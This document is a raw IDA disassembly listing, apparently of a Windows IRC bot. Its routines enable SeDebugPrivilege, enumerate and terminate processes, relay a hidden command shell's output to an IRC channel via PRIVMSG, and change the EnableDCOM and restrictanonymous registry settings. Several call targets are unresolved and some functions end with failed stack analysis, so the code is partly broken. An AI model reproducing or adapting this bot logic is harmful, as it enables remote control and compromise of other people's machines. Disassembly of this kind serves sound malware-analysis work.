loc_4193D0: ; CODE XREF: sub_4192DF+B4j
lea eax, [ebp+var_218]
push offset unk_4399EC
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4193FA: ; CODE XREF: sub_4192DF+9Ej
; sub_4192DF+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940D
push edi
call dword_4CB6B4
xor edi, edi
mov [ebp+var_4], edi
loc_41940D: ; CODE XREF: sub_4192DF+A5j
; sub_4192DF+120j
cmp [ebp+var_C], 0EAh
jz loc_41931E
cmp edi, esi
jz short loc_419425
push edi
call dword_4CB6B4
loc_419425: ; CODE XREF: sub_4192DF+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192DF endp
; =============== S U B R O U T I N E =======================================
sub_41945F proc near ; CODE XREF: sub_418A98+41p
; sub_418C8E+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419511
jz loc_41950A
cmp eax, 7Bh
ja short loc_4194D6
jz short loc_4194CC
cmp eax, 5
jz short loc_4194C2
cmp eax, 8
jz short loc_4194B8
cmp eax, 32h
jz short loc_4194AE
cmp eax, 35h
jz short loc_4194A4
cmp eax, 57h
jnz loc_419560
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194A4: ; CODE XREF: sub_41945F+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194AE: ; CODE XREF: sub_41945F+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194B8: ; CODE XREF: sub_41945F+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194C2: ; CODE XREF: sub_41945F+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_41945F+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194D6: ; CODE XREF: sub_41945F+1Aj
sub eax, 7Ch
jz short loc_419503
sub eax, 7C8h
jz short loc_4194FC
dec eax
jz short loc_4194F2
dec eax
jnz short loc_419560
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194F2: ; CODE XREF: sub_41945F+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194FC: ; CODE XREF: sub_41945F+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419503: ; CODE XREF: sub_41945F+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41950A: ; CODE XREF: sub_41945F+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419511: ; CODE XREF: sub_41945F+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954A
jz short loc_419543
sub eax, 8ADh
jz short loc_419575
dec eax
dec eax
jz short loc_41953C
dec eax
jz short loc_419535
dec eax
dec eax
jnz short loc_419560
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419535: ; CODE XREF: sub_41945F+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41953C: ; CODE XREF: sub_41945F+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419543: ; CODE XREF: sub_41945F+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41954A: ; CODE XREF: sub_41945F+B9j
sub eax, 8CAh
jz short loc_41957C
sub eax, 17h
jz short loc_419575
sub eax, 25h
jz short loc_41956E
sub eax, 29h
jz short loc_419567
loc_419560: ; CODE XREF: sub_41945F+35j
; sub_41945F+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419567: ; CODE XREF: sub_41945F+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41956E: ; CODE XREF: sub_41945F+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419575: ; CODE XREF: sub_41945F+C2j
; sub_41945F+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41957C: ; CODE XREF: sub_41945F+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419581: ; CODE XREF: sub_41945F+40j
; sub_41945F+4Aj ...
push offset dword_4DB240
call sub_41B886
pop ecx
mov eax, offset dword_4DB240
pop ecx
retn
sub_41945F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419593 proc near ; CODE XREF: sub_401ACD+4781p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41D834
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 2860000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41D834
lea eax, [ebp+var_718]
push eax
call sub_41D817
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB634
test eax, eax
jnz short loc_419623
mov esi, offset dword_4DB03C
push offset unk_439D54
push esi
call sub_41B886
pop ecx
pop ecx
jmp short loc_41964C
; ---------------------------------------------------------------------------
loc_419623: ; CODE XREF: sub_419593+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41945F
pop ecx
mov esi, offset dword_4DB03C
push eax
push offset dword_439D28
push esi
call sub_41B886
add esp, 14h
loc_41964C: ; CODE XREF: sub_419593+8Ej
mov eax, esi
pop esi
leave
retn
sub_419593 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419651 proc near ; CODE XREF: sub_416F1A+45p
; sub_416F1A+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 28C056Ch
push eax
call dword_4CB608
test eax, eax
jnz short loc_419670
leave
retn
; ---------------------------------------------------------------------------
loc_419670: ; CODE XREF: sub_419651+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB5E0
test eax, eax
jz short loc_4196AE
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419697
or [ebp+var_8], 2
jmp short loc_41969B
; ---------------------------------------------------------------------------
loc_419697: ; CODE XREF: sub_419651+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969B: ; CODE XREF: sub_419651+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CB690
mov esi, eax
loc_4196AE: ; CODE XREF: sub_419651+32j
push [ebp+var_4]
nop
call near ptr 28005AFh
mov eax, esi
pop esi
leave
retn
sub_419651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p
; sub_4198EB+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB644, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BB
cmp dword_4CB628, ebx
jz loc_4198BB
cmp dword_4CB538, ebx
jz loc_4198BB
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB644
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AE
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB628
mov esi, dword_427068
test eax, eax
jz loc_4198A9
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB538
test eax, eax
jz loc_4198A9
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_419780: ; CODE XREF: sub_4196BC+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E7
mov [ebp+var_4], offset off_439D80
loc_41978E: ; CODE XREF: sub_4196BC+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call near ptr 29E0000h
nop
test eax, eax
jz short loc_4197B6
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439DE0
jb short loc_41978E
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197B6: ; CODE XREF: sub_4196BC+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_41988F
push 0
push eax
call near ptr 28B09AAh
nop
test eax, eax
jnz loc_41988F
loc_4197DD: ; CODE XREF: sub_4196BC+1B9j
push [ebp+var_4]
call esi
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197E7: ; CODE XREF: sub_4196BC+C9j
cmp [ebp+arg_C], eax
jnz loc_41987A
cmp [ebp+arg_4], eax
jz loc_41988F
push [ebp+var_128]
push 8
call dword_4CB644
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983A
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB4E4
push [ebp+var_128]
test eax, eax
jz short loc_419840
lea eax, [ebp+var_234]
jmp short loc_419846
; ---------------------------------------------------------------------------
loc_41983A: ; CODE XREF: sub_4196BC+15Cj
push [ebp+var_128]
loc_419840: ; CODE XREF: sub_4196BC+174j
lea eax, [ebp+var_10C]
loc_419846: ; CODE XREF: sub_4196BC+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
jmp loc_4197DD
; ---------------------------------------------------------------------------
loc_41987A: ; CODE XREF: sub_4196BC+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4198C2
loc_41988F: ; CODE XREF: sub_4196BC+F5j
; sub_4196BC+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB538
test eax, eax
jnz loc_419780
xor ebx, ebx
loc_4198A9: ; CODE XREF: sub_4196BC+9Dj
; sub_4196BC+B3j
push [ebp+var_8]
call esi
loc_4198AE: ; CODE XREF: sub_4196BC+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
loc_4198BB: ; CODE XREF: sub_4196BC+3Aj
; sub_4196BC+46j ...
xor eax, eax
loc_4198BD: ; CODE XREF: sub_4196BC+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C2: ; CODE XREF: sub_4196BC+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 28B09AAh
nop
test eax, eax
jnz short loc_4198E6
push edi
call esi
jmp short loc_4198BB
; ---------------------------------------------------------------------------
loc_4198E6: ; CODE XREF: sub_4196BC+223j
push 1
pop eax
jmp short loc_4198BD
sub_4196BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_439F80
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994A
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_41994A: ; CODE XREF: sub_4198EB+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4196BC
add esp, 18h
test eax, eax
jnz short loc_419972
push offset unk_439F5C
jmp short loc_419977
; ---------------------------------------------------------------------------
loc_419972: ; CODE XREF: sub_4198EB+7Ej
push offset unk_439F38
loc_419977: ; CODE XREF: sub_4198EB+85j
lea eax, [ebp+var_298]
push eax
call sub_41B886
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AA
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_4199AA: ; CODE XREF: sub_4198EB+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4151AC
push [ebp+var_14]
call sub_40B412
pop ecx
pop ecx
push esi
nop
call near ptr 288097Dh
pop edi
pop esi
sub_4198EB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p
; sub_40B231+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
nop
call near ptr 282091Ch
mov esi, eax
test esi, esi
jz short loc_4199FB
push 0
push esi
nop
call near ptr 28B09AAh
test eax, eax
jnz short loc_4199FB
push esi
xor edi, edi
nop
call near ptr 28005AFh
loc_4199FB: ; CODE XREF: sub_4199C9+1Aj
; sub_4199C9+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199C9 endp
; ---------------------------------------------------------------------------
dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h
; DATA XREF: ___:004015EEo
dd 439D7Ch, 6B48E890h, 0E3EB0240h
; =============== S U B R O U T I N E =======================================
sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap
; sub_419A88+7Ep ...
mov eax, dword_4DB8A8
push esi
mov esi, dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A34
push eax
call esi
loc_419A34: ; CODE XREF: sub_419A20+Fj
mov eax, dword_4DB8B0
cmp eax, 0FFFFFFFFh
jz short loc_419A41
push eax
call esi
loc_419A41: ; CODE XREF: sub_419A20+1Cj
mov eax, dword_4DB8A4
cmp eax, 0FFFFFFFFh
jz short loc_419A4E
push eax
call esi
loc_419A4E: ; CODE XREF: sub_419A20+29j
pop esi
retn
sub_419A20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AFE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DB8AC
nop
call near ptr 28A0000h
test eax, eax
jnz short loc_419A83
call sub_419A20
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_419A50+28j
push 1
pop eax
leave
retn
sub_419A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p
; sub_419B0F+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43D7D8
push [ebp+arg_4]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_419ACB
push 7D0h
nop
call near ptr 2820566h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41B886
add esp, 10h
jmp short loc_419AE2
; ---------------------------------------------------------------------------
loc_419ACB: ; CODE XREF: sub_419A88+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41B886
add esp, 0Ch
loc_419AE2: ; CODE XREF: sub_419A88+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CB674
test eax, eax
jg short loc_419B0B
call sub_419A20
loc_419B0B: ; CODE XREF: sub_419A88+7Cj
xor eax, eax
leave
retn
sub_419A88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B0F proc near ; DATA XREF: sub_419C64+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DB8B4
loc_419B27: ; CODE XREF: sub_419B0F+79j
; sub_419B0F+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DB8A8
call near ptr 29E0898h
nop
test eax, eax
jz loc_419BF5
cmp [ebp+var_4], edi
jnz short loc_419B8A
lea eax, [ebp+var_8]
push eax
push dword_4DB8A4
nop
call near ptr 29E044Ch
test eax, eax
jz short loc_419B80
cmp [ebp+var_8], 103h
jnz loc_419C19
loc_419B80: ; CODE XREF: sub_419B0F+62j
push 0Ah
nop
call near ptr 2820566h
jmp short loc_419B27
; ---------------------------------------------------------------------------
loc_419B8A: ; CODE XREF: sub_419B0F+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA1
loc_419B91: ; CODE XREF: sub_419B0F+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_419BEF
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B91
loc_419BA1: ; CODE XREF: sub_419B0F+80j
mov [ebp+var_4], esi
loc_419BA4: ; CODE XREF: sub_419B0F+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DB8A8
nop
call near ptr 28B0000h
test eax, eax
jz short loc_419C41
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DB8E8
call sub_419A88
add esp, 0Ch
jmp loc_419B27
; ---------------------------------------------------------------------------
loc_419BEF: ; CODE XREF: sub_419B0F+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA4
; ---------------------------------------------------------------------------
loc_419BF5: ; CODE XREF: sub_419B0F+45j
push offset unk_43A008
push ebx
push dword_4DB8E8
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push 1
nop
call near ptr 288097Dh
loc_419C19: ; CODE XREF: sub_419B0F+6Bj
call sub_419A20
push offset unk_439FE0
push ebx
push dword_4DB8E8
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
call near ptr 288097Dh
nop
loc_419C41: ; CODE XREF: sub_419B0F+C3j
push offset unk_439FB0
push ebx
push dword_4DB8E8
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
nop
call near ptr 288097Dh
sub_419B0F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A20
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_433BCC
push esi
call dword_4CB6E0
test eax, eax
jz loc_419D5E
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_419D5E
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_419D5E
mov edi, dword_4270F8
push 3
push esi
push esi
push offset dword_4DB8AC
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 28C0000h
test eax, eax
jz short loc_419D5E
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B590
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43D7D8
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
nop
call near ptr 2800890h
test eax, eax
jnz short loc_419D66
loc_419D5E: ; CODE XREF: sub_419C64+2Fj
; sub_419C64+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E14
; ---------------------------------------------------------------------------
loc_419D66: ; CODE XREF: sub_419C64+F8j
push [ebp+var_4]
mov edi, dword_427068
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB8A8, eax
mov eax, [ebp+var_8]
mov dword_4DB8B0, eax
mov eax, [ebp+var_2C]
mov dword_4DB8A4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB8E8, eax
jz short loc_419DA0
push [ebp+arg_4]
jmp short loc_419DA1
; ---------------------------------------------------------------------------
loc_419DA0: ; CODE XREF: sub_419C64+135j
push ebx
loc_419DA1: ; CODE XREF: sub_419C64+13Aj
push offset dword_4DB8B4
call sub_41B886
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_43A06C
call sub_40B0F6
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43E568[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B0F
push esi
push esi
nop
call near ptr 282060Ah
cmp eax, esi
mov dword_43E574[edi], eax
jnz short loc_419E12
nop
call near ptr 2830047h
push eax
lea eax, [ebp+var_378]
push offset unk_43A038
push eax
call sub_41B886
lea eax, [ebp+var_378]
push eax
call sub_4151AC
add esp, 10h
loc_419E12: ; CODE XREF: sub_419C64+185j
xor eax, eax
loc_419E14: ; CODE XREF: sub_419C64+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E60
call sub_419E79
jmp short loc_419E65
; ---------------------------------------------------------------------------
loc_419E60: ; CODE XREF: sub_419E19+3Ej
call sub_41A19D
loc_419E65: ; CODE XREF: sub_419E19+45j
add esp, 10h
push [ebp+var_14]
call sub_40B412
pop ecx
push 0
nop
call near ptr 288097Dh
sub_419E19 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E79 proc near ; CODE XREF: sub_419E19+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB6F4, edi
jnz loc_419FAB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CB694
test eax, eax
jnz short loc_419F04
mov ax, word_438DE0
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB648
test eax, eax
jz short loc_419EE6
push offset dword_43A308
jmp short loc_419EEB
; ---------------------------------------------------------------------------
loc_419EE6: ; CODE XREF: sub_419E79+64j
push offset dword_43A2E8
loc_419EEB: ; CODE XREF: sub_419E79+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB600
jmp short loc_419F17
; ---------------------------------------------------------------------------
loc_419F04: ; CODE XREF: sub_419E79+36j
lea eax, [ebp+var_214]
push offset dword_43A2B8
push eax
call sub_41B886
pop ecx
pop ecx
loc_419F17: ; CODE XREF: sub_419E79+89j
cmp [ebp+arg_C], edi
jnz short loc_419F36
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419F36: ; CODE XREF: sub_419E79+A1j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CB694
test eax, eax
jnz short loc_419FA4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB648
test eax, eax
jz short loc_419F86
push offset dword_43A268
jmp short loc_419F8B
; ---------------------------------------------------------------------------
loc_419F86: ; CODE XREF: sub_419E79+104j
push offset dword_43A234
loc_419F8B: ; CODE XREF: sub_419E79+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB600
jmp short loc_419FBE
; ---------------------------------------------------------------------------
loc_419FA4: ; CODE XREF: sub_419E79+E2j
push offset dword_43A1F8
jmp short loc_419FB0
; ---------------------------------------------------------------------------
loc_419FAB: ; CODE XREF: sub_419E79+13j
push offset dword_43A1C8
loc_419FB0: ; CODE XREF: sub_419E79+130j
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
loc_419FBE: ; CODE XREF: sub_419E79+129j
cmp [ebp+arg_C], edi
jnz short loc_419FDD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419FDD: ; CODE XREF: sub_419E79+148j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
